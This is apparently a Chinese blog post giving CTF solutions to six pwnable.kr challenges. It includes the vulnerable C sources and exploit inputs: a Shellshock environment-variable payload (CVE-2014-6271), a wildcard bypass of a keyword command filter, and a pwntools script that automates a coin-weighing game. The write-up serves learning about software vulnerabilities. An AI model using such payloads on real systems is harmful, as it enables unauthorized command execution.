前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >一些pwn题目的解题思路[pwnable.kr] II

一些pwn题目的解题思路[pwnable.kr] II

作者头像
WeaponX
发布2018-05-04 15:48:32
1.4K0
发布2018-05-04 15:48:32
举报
文章被收录于专栏:BinarySecBinarySecBinarySec

目录

以下是solution的目录

Other

一些pwn题目的解题思路[pwnable.kr]

mistake

#include <stdio.h>#include <fcntl.h>#define PW_LEN 10#define XORKEY 1void xor(char* s, int len){ int i; for(i=0; i<len; i++){ s[i] ^= XORKEY; }}int main(int argc, char* argv[]){ int fd; if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){ printf("can't open password %d\n", fd); return 0; } printf("do not bruteforce...\n"); sleep(time(0)%20); char pw_buf[PW_LEN+1]; int len; if(!(len=read(fd,pw_buf,PW_LEN) > 0)){ printf("read error\n"); close(fd); return 0; } char pw_buf2[PW_LEN+1]; printf("input password : "); scanf("%10s", pw_buf2); // xor your input xor(pw_buf2, 10); if(!strncmp(pw_buf, pw_buf2, PW_LEN)){ printf("Password OK\n"); system("/bin/cat flag\n"); } else{ printf("Wrong Password\n"); } close(fd); return 0;}

题目的hint说符号的优先级:

We all make mistakes, let’s move on. (don’t take this too seriously, no fancy hacking skill is required at all) This task is based on real event Thanks to dhmonkey hint : operator priority

注意到这里

if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){ printf("can't open password %d\n", fd); return 0;}

因为=的优先级小于<,所以

fd=open("/home/mistake/password",O_RDONLY,0400) < 0

的执行顺序应该是这样的

fd = (open("/home/mistake/password",O_RDONLY,0400) < 0)

然而

open("/home/mistake/password",O_RDONLY,0400) < 0

为假,所以

= 0```为标准输入,剩下的流程就很简单了。

```bashmistake@ubuntu:~$ ./mistake do not bruteforce...0000000000input password : 1111111111Password OKMommy, the operator priority always confuses me :(

shellshock

#include <stdio.h>int main(){ setresuid(getegid(), getegid(), getegid()); setresgid(getegid(), getegid(), getegid()); system("/home/shellshock/bash -c 'echo shock_me'"); return 0;}

题目提示破壳漏洞,直接测试一下。

shellshock@ubuntu:~$ env foo='() { :;}; echo vul' ./bash -c 'echo yes'vulyes

存在漏洞,直接丢来exploit

shellshock@ubuntu:~$ env foo='() { :;}; /bin/cat flag' ./shellshockonly if I knew CVE-2014-6271 ten years ago..!!Segmentation fault

coin1

一个小游戏,查找一堆硬币中假的那个,30s内要完成100次。

---------------------------------------------------- Shall we play a game? ----------------------------------------------------You have given some gold coins in your handhowever, there is one counterfeit coin among themcounterfeit coin looks exactly same as real coinhowever, its weight is different from real onereal coin weighs 10, counterfeit coin weighes 9help me to find the counterfeit coin with a scaleif you find 100 counterfeit coins, you will get reward :)FYI, you have 30 seconds.- How to play - 1. you get a number of coins (N) and number of chances (C)2. then you specify a set of index numbers of coins to be weighed3. you get the weight information4. 2~3 repeats C time, then you give the answer- Example -[Server] N=4 C=2 # find counterfeit among 4 coins with 2 trial[Client] 0 1 # weigh first and second coin[Server] 20 # scale result : 20[Client] 3 # weigh fourth coin[Server] 10 # scale result : 10[Client] 2 # counterfeit coin is third![Server] Correct!- Ready? starting in 3 sec... -

其实就是一个二分查找,然而因为网络原因跑30次就超时了,于是丢到对方服务器上跑。

from pwn import *import re, sysio = remote("127.0.0.1", 9007)io.recv()def get_coin_chance(): try: ret = io.recv() pattern = re.compile("N=(\d+)\sC=(\d+)") res = pattern.search(ret).groups() log.success("N=[%d], C=[%d]" % (int(res[0]), int(res[1]))) except: log.success("Flag => [%s]" % ret) return int(res[0]), int(res[1])def have_fake(nums): ret = int(io.recv()) log.success("Num => [%d] Weight => [%d]" % (nums, ret)) if ret % 10 == 0 and ret/10 == nums: log.info("No Error find next") return 0 else: log.warning("Find Error") return 1def send_coin(base, top): c = "" for x in range(base, top+1): c += (str(x - 1) + " ") log.info("Send Coins => [%s]" % c.strip()) io.sendline(c.strip())def check(low, high, chance): mid = (high + low) / 2 nums = mid - low + 1 send_coin(low, mid) if chance == 0: print io.recv() return #coins, chance = get_coin_chance() #check(1, coins, chance) log.warning("low=>[%d] mid=>[%d] high=>[%d]"%(low,mid,high)) if have_fake(nums): check(low, mid, chance-1) else: check(mid+1, high, chance-1)if __name__ == "__main__": while True: coins, chance = get_coin_chance() check(1, coins, chance)

跑出来的结果如下。

[+] Num => [1] Weight => [9][!] Find Error[*] Send Coins => [402]Correct! (99)[+] Flag => [Congrats! get your flag b1NaRy_S34rch1nG_1s_3asy_p3asy ]

blackjack

这个游戏是个21点的游戏,初始给你$500,赢到$1000000就给出flag。但是,这种想直接玩下去估计得明年了。

不过题目中给了源代码的连接,http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html

只能从源代码中找漏洞。

int betting() //Asks user amount to bet{ printf("\n\nEnter Bet: $"); scanf("%d", &bet); if (bet > cash) //If player tries to bet more money than player has { printf("\nYou cannot bet more money than you have."); printf("\nEnter Bet: "); scanf("%d", &bet); return bet; } else return bet;} // End Function

看了下注的代码后,发现一个漏洞,可以下任意大小的筹码(不要溢出了= =)。然后只要赢一次就好了。

YaY_I_AM_A_MILLIONARE_LOLCash: $100000500-------|D || 1 || D|-------Your Total is 1The Dealer Has a Total of 10Enter Bet: $

lotto

#include <stdio.h>#include <stdlib.h>#include <string.h>#include <fcntl.h>unsigned char submit[6];void play(){ int i; printf("Submit your 6 lotto bytes : "); fflush(stdout); int r; r = read(0, submit, 6); printf("Lotto Start!\n"); //sleep(1); // generate lotto numbers int fd = open("/dev/urandom", O_RDONLY); if(fd==-1){ printf("error. tell admin\n"); exit(-1); } unsigned char lotto[6]; if(read(fd, lotto, 6) != 6){ printf("error2. tell admin\n"); exit(-1); } for(i=0; i<6; i++){ lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45 } close(fd); // calculate lotto score int match = 0, j = 0; for(i=0; i<6; i++){ for(j=0; j<6; j++){ if(lotto[i] == submit[j]){ match++; } } } // win! if(match == 6){ system("/bin/cat flag"); } else{ printf("bad luck...\n"); }}void help(){ printf("- nLotto Rule -\n"); printf("nlotto is consisted with 6 random natural numbers less than 46\n"); printf("your goal is to match lotto numbers as many as you can\n"); printf("if you win lottery for *1st place*, you will get reward\n"); printf("for more details, follow the link below\n"); printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n"); printf("mathematical chance to win this game is known to be 1/8145060.\n");}int main(int argc, char* argv[]){ // menu unsigned int menu; while(1){ printf("- Select Menu -\n"); printf("1. Play Lotto\n"); printf("2. Help\n"); printf("3. Exit\n"); scanf("%d", &menu); switch(menu){ case 1: play(); break; case 2: help(); break; case 3: printf("bye\n"); return 0; default: printf("invalid menu\n"); break; } } return 0;}

只需要让match == 6即可

这一句是将ascii转换到ascii 1-45之间

for(i=0; i<6; i++){ lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45}

这块正是漏洞所在,

for(i=0; i<6; i++){ for(j=0; j<6; j++){ if(lotto[i] == submit[j]){ match++; } }}

无法控制lotto的值,可以控制submit的值,但是submit可以相同。所以就暴力破解。

Submit your 6 lotto bytes : !!!!!!Lotto Start!sorry mom... I FORGOT to check duplicate numbers... :(- Select Menu -1. Play Lotto2. Help3. Exit

cmd1

#include <stdio.h>#include <string.h>int filter(char* cmd){ int r=0; r += strstr(cmd, "flag")!=0; r += strstr(cmd, "sh")!=0; r += strstr(cmd, "tmp")!=0; return r;}int main(int argc, char* argv[], char** envp){ putenv("PATH=/fuckyouverymuch"); if(filter(argv[1])) return 0; system( argv[1] ); return 0;}

可以看出,system的参数过滤了flag,sh,tmp。不过linux可以使用通配符flag换成f*即可。

cmd1@ubuntu:~$ ./cmd1 "/bin/cat f*"mommy now I get what PATH environment is for :)

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2017-02-14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 目录
  • mistake
  • shellshock
  • coin1
  • blackjack
  • lotto
  • cmd1
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档